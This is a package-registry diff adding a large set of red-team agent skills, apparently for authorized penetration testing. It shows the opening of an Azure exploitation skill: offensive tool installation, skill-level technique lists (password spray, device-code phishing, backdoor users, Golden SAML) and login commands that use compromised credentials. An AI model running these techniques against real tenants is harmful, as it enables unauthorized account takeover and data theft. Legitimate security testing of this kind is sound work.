rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,1258 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-cloud-azure
|
|
3
|
+
description: "Azure Red Team exploitation skill. Azure AD enumeration, Service Principal abuse, Managed Identity exploitation, Azure Storage account misconfiguration, Key Vault access, App Service environment variables exposure, Azure Function exploitation, and AzureAD password spray. Tools: roadrecon, ROADtools, AzureHound, az CLI, PowerZure."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-cloud-azure — Azure Red Team Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use This Skill
|
|
9
|
+
|
|
10
|
+
This skill covers offensive operations against Microsoft Azure infrastructure and Azure Active Directory (Azure AD / Entra ID). Azure presents a uniquely large attack surface because the identity plane (Azure AD) is tightly coupled with the resource plane (ARM), and many organizations extend their on-premises Active Directory directly into the cloud. A single compromised Service Principal or OAuth token can provide access to dozens of subscriptions, storage accounts, Key Vaults, and connected SaaS applications.
|
|
11
|
+
|
|
12
|
+
**Use this skill when:**
|
|
13
|
+
- Scope explicitly includes Azure subscriptions, resource groups, Entra ID tenants, or Azure-hosted applications.
|
|
14
|
+
- You have obtained any Azure credential: access token, refresh token, client secret, certificate, or Managed Identity token.
|
|
15
|
+
- You have obtained a user's Microsoft 365 or Azure AD credentials from phishing, password spray, or credential stuffing.
|
|
16
|
+
- The engagement is a cloud security assessment, red team, or assumes-breach scenario.
|
|
17
|
+
- You need to demonstrate lateral movement from an Azure workload (App Service, AKS, Azure VM) into the broader tenant.
|
|
18
|
+
- The objective is data exfiltration from Azure Storage, Key Vault secrets, or Azure SQL.
|
|
19
|
+
|
|
20
|
+
**Do NOT use this skill when:**
|
|
21
|
+
- The rules of engagement exclude Azure or Microsoft 365 (verify with `rt-rules-of-engagement`).
|
|
22
|
+
- You do not have prior written authorization covering the specific tenant ID and subscription IDs.
|
|
23
|
+
- You are operating from a personal Microsoft account — always use isolated attacker infrastructure.
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## 2. Prerequisites and Tool Installation
|
|
28
|
+
|
|
29
|
+
### 2.1 Azure CLI (az)
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
# Kali Linux / Debian
|
|
33
|
+
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
|
|
34
|
+
|
|
35
|
+
# Manual (all Linux)
|
|
36
|
+
pip install azure-cli
|
|
37
|
+
|
|
38
|
+
# macOS
|
|
39
|
+
brew update && brew install azure-cli
|
|
40
|
+
|
|
41
|
+
# Windows (PowerShell)
|
|
42
|
+
winget install Microsoft.AzureCLI
|
|
43
|
+
# or
|
|
44
|
+
$ProgressPreference = 'SilentlyContinue'
|
|
45
|
+
Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi
|
|
46
|
+
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
Verify and authenticate:
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
az --version
|
|
53
|
+
az login # interactive browser login
|
|
54
|
+
az login --use-device-code # device-code flow (no browser on attacker box)
|
|
55
|
+
az account list --output table # list subscriptions
|
|
56
|
+
az account set --subscription "TARGET_SUBSCRIPTION_ID"
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
### 2.2 ROADtools / ROADrecon (Azure AD Enumeration)
|
|
60
|
+
|
|
61
|
+
```bash
|
|
62
|
+
pip3 install roadtools
|
|
63
|
+
roadrecon --help
|
|
64
|
+
|
|
65
|
+
# roadlib (library), roadrecon (enumeration), roadtx (token operations)
|
|
66
|
+
pip3 install roadlib roadrecon roadtx
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### 2.3 AzureHound (BloodHound for Azure)
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# Download latest release binary
|
|
73
|
+
wget https://github.com/BloodHoundAD/AzureHound/releases/latest/download/azurehound-linux-amd64.zip
|
|
74
|
+
unzip azurehound-linux-amd64.zip
|
|
75
|
+
chmod +x azurehound
|
|
76
|
+
./azurehound --help
|
|
77
|
+
|
|
78
|
+
# Alternative: build from source
|
|
79
|
+
git clone https://github.com/BloodHoundAD/AzureHound
|
|
80
|
+
cd AzureHound
|
|
81
|
+
go build .
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### 2.4 PowerZure (Azure Offensive PowerShell Module)
|
|
85
|
+
|
|
86
|
+
```powershell
|
|
87
|
+
# On Windows or PowerShell Core
|
|
88
|
+
git clone https://github.com/hausec/PowerZure
|
|
89
|
+
cd PowerZure
|
|
90
|
+
Import-Module ./PowerZure.psd1
|
|
91
|
+
|
|
92
|
+
# Requires Az module
|
|
93
|
+
Install-Module -Name Az -AllowClobber -Scope CurrentUser -Force
|
|
94
|
+
Connect-AzAccount
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### 2.5 MicroBurst (Azure Security Assessment)
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
git clone https://github.com/NetSPI/MicroBurst
|
|
101
|
+
cd MicroBurst
|
|
102
|
+
# PowerShell module — import in PS session
|
|
103
|
+
Import-Module ./MicroBurst.psm1
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
### 2.6 GraphSpy (Microsoft Graph API Exploitation)
|
|
107
|
+
|
|
108
|
+
```bash
|
|
109
|
+
git clone https://github.com/RedBirdCyber/GraphSpy
|
|
110
|
+
cd GraphSpy
|
|
111
|
+
pip3 install -r requirements.txt
|
|
112
|
+
python3 GraphSpy.py
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
### 2.7 TokenTactics (Token Manipulation)
|
|
116
|
+
|
|
117
|
+
```powershell
|
|
118
|
+
git clone https://github.com/rvrsh3ll/TokenTactics
|
|
119
|
+
cd TokenTactics
|
|
120
|
+
Import-Module ./TokenTactics.psd1
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
### 2.8 Spray365 (Azure AD Password Spray)
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
pip3 install spray365
|
|
127
|
+
# or
|
|
128
|
+
git clone https://github.com/MarkoH17/Spray365
|
|
129
|
+
cd Spray365
|
|
130
|
+
pip3 install -r requirements.txt
|
|
131
|
+
python3 spray365.py --help
|
|
132
|
+
```
|
|
133
|
+
|
|
134
|
+
### 2.9 MSOLSpray (Legacy MSOL Password Spray)
|
|
135
|
+
|
|
136
|
+
```powershell
|
|
137
|
+
git clone https://github.com/dafthack/MSOLSpray
|
|
138
|
+
cd MSOLSpray
|
|
139
|
+
Import-Module ./MSOLSpray.ps1
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
### 2.10 Stormspotter (Azure Attack Graph)
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
git clone https://github.com/Azure/Stormspotter
|
|
146
|
+
cd Stormspotter
|
|
147
|
+
pip3 install -r backend/requirements.txt
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
### 2.11 Supporting Tools
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# jq for JSON processing
|
|
154
|
+
sudo apt install jq
|
|
155
|
+
|
|
156
|
+
# jwt_tool for token analysis
|
|
157
|
+
pip3 install jwt_tool
|
|
158
|
+
git clone https://github.com/ticarpi/jwt_tool
|
|
159
|
+
|
|
160
|
+
# AADInternals (PowerShell — advanced Azure AD attacks)
|
|
161
|
+
Install-Module AADInternals -Scope CurrentUser
|
|
162
|
+
Import-Module AADInternals
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## 3. Skill Levels
|
|
168
|
+
|
|
169
|
+
### BEGINNER — Authenticated Enumeration and Reconnaissance
|
|
170
|
+
|
|
171
|
+
Focus: Understand what you have access to after obtaining credentials. No exploitation yet.
|
|
172
|
+
|
|
173
|
+
**Techniques:**
|
|
174
|
+
- List subscriptions, resource groups, and resources using az CLI
|
|
175
|
+
- Enumerate Azure AD users, groups, and service principals
|
|
176
|
+
- Identify public storage accounts and blobs
|
|
177
|
+
- Check current user/principal permissions
|
|
178
|
+
- Review App Service configuration
|
|
179
|
+
|
|
180
|
+
**Goal:** Build a complete picture of the target tenant and subscriptions before taking any exploitative action.
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
### INTERMEDIATE — Misconfiguration Exploitation and Privilege Discovery
|
|
185
|
+
|
|
186
|
+
Focus: Exploit common Azure misconfigurations to escalate privileges or access sensitive data.
|
|
187
|
+
|
|
188
|
+
**Techniques:**
|
|
189
|
+
- Access public/anonymous Azure Blob Storage
|
|
190
|
+
- Exploit overly permissive RBAC role assignments
|
|
191
|
+
- Read App Service environment variables via Kudu console
|
|
192
|
+
- Obtain Managed Identity tokens from Azure IMDS
|
|
193
|
+
- Read Key Vault secrets with granted access
|
|
194
|
+
- Abuse Service Principal credentials found in code repositories
|
|
195
|
+
- Perform OAuth device code phishing
|
|
196
|
+
|
|
197
|
+
**Goal:** Demonstrate real-world impact by accessing data or escalating privileges within the tenant.
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
### ADVANCED — Lateral Movement and Persistence
|
|
202
|
+
|
|
203
|
+
Focus: Move laterally across subscriptions and establish persistent access.
|
|
204
|
+
|
|
205
|
+
**Techniques:**
|
|
206
|
+
- Abuse Azure AD role assignments for privilege escalation
|
|
207
|
+
- Extract and abuse Service Principal certificates and secrets
|
|
208
|
+
- Pivot from Azure workloads (VMs, AKS, App Services) using Managed Identity
|
|
209
|
+
- Add credentials to Service Principals and Applications
|
|
210
|
+
- Create backdoor users and role assignments
|
|
211
|
+
- Exploit Azure AD Conditional Access policy gaps
|
|
212
|
+
- Abuse Azure Automation Runbooks for code execution
|
|
213
|
+
- Pass-the-PRT (Primary Refresh Token) attacks
|
|
214
|
+
|
|
215
|
+
**Goal:** Full tenant compromise with demonstrated persistence mechanisms.
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
### EXPERT — Advanced Identity Attacks and Cross-Tenant Exploitation
|
|
220
|
+
|
|
221
|
+
Focus: Sophisticated identity-plane attacks, cross-tenant pivoting, and detection evasion.
|
|
222
|
+
|
|
223
|
+
**Techniques:**
|
|
224
|
+
- Token replay and refresh token abuse across Microsoft services
|
|
225
|
+
- DCSync equivalent against Azure AD (AADConnect exploitation)
|
|
226
|
+
- Azure AD Connect MSOL account abuse for on-prem to cloud pivoting
|
|
227
|
+
- Federated identity trust abuse (ADFS, PingFederate)
|
|
228
|
+
- Consent phishing for OAuth application permissions
|
|
229
|
+
- Cross-tenant attacks via B2B guest accounts
|
|
230
|
+
- Azure Arc exploitation for hybrid pivot
|
|
231
|
+
- Abuse of Privileged Identity Management (PIM) activation
|
|
232
|
+
- Microsoft Graph API abuse for silent data exfiltration
|
|
233
|
+
- Golden SAML attacks
|
|
234
|
+
|
|
235
|
+
**Goal:** Demonstrate advanced persistent threat (APT)-level techniques with full chain documentation.
|
|
236
|
+
|
|
237
|
+
---
|
|
238
|
+
|
|
239
|
+
## 4. Step-by-Step Attack Workflow
|
|
240
|
+
|
|
241
|
+
### Phase 1: Initial Access and Credential Acquisition
|
|
242
|
+
|
|
243
|
+
**Step 1: Verify and configure credentials**
|
|
244
|
+
|
|
245
|
+
```bash
|
|
246
|
+
# If you have a client ID + secret (Service Principal)
|
|
247
|
+
az login --service-principal \
|
|
248
|
+
--username "CLIENT_ID" \
|
|
249
|
+
--password "CLIENT_SECRET" \
|
|
250
|
+
--tenant "TENANT_ID"
|
|
251
|
+
|
|
252
|
+
# If you have a username + password (user account)
|
|
253
|
+
az login --username user@target.com --password 'P@ssw0rd!'
|
|
254
|
+
|
|
255
|
+
# If you have a device code (useful for MFA bypass scenarios)
|
|
256
|
+
az login --use-device-code
|
|
257
|
+
|
|
258
|
+
# Check who you are
|
|
259
|
+
az account show
|
|
260
|
+
az ad signed-in-user show 2>/dev/null || echo "Service Principal — no user context"
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
**Step 2: Enumerate available subscriptions**
|
|
264
|
+
|
|
265
|
+
```bash
|
|
266
|
+
az account list --output table
|
|
267
|
+
az account list --query "[].{Name:name, ID:id, State:state, Tenant:tenantId}" -o table
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
**Step 3: Identify current permissions**
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# List role assignments for the current principal
|
|
274
|
+
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
|
|
275
|
+
--all --output table 2>/dev/null
|
|
276
|
+
|
|
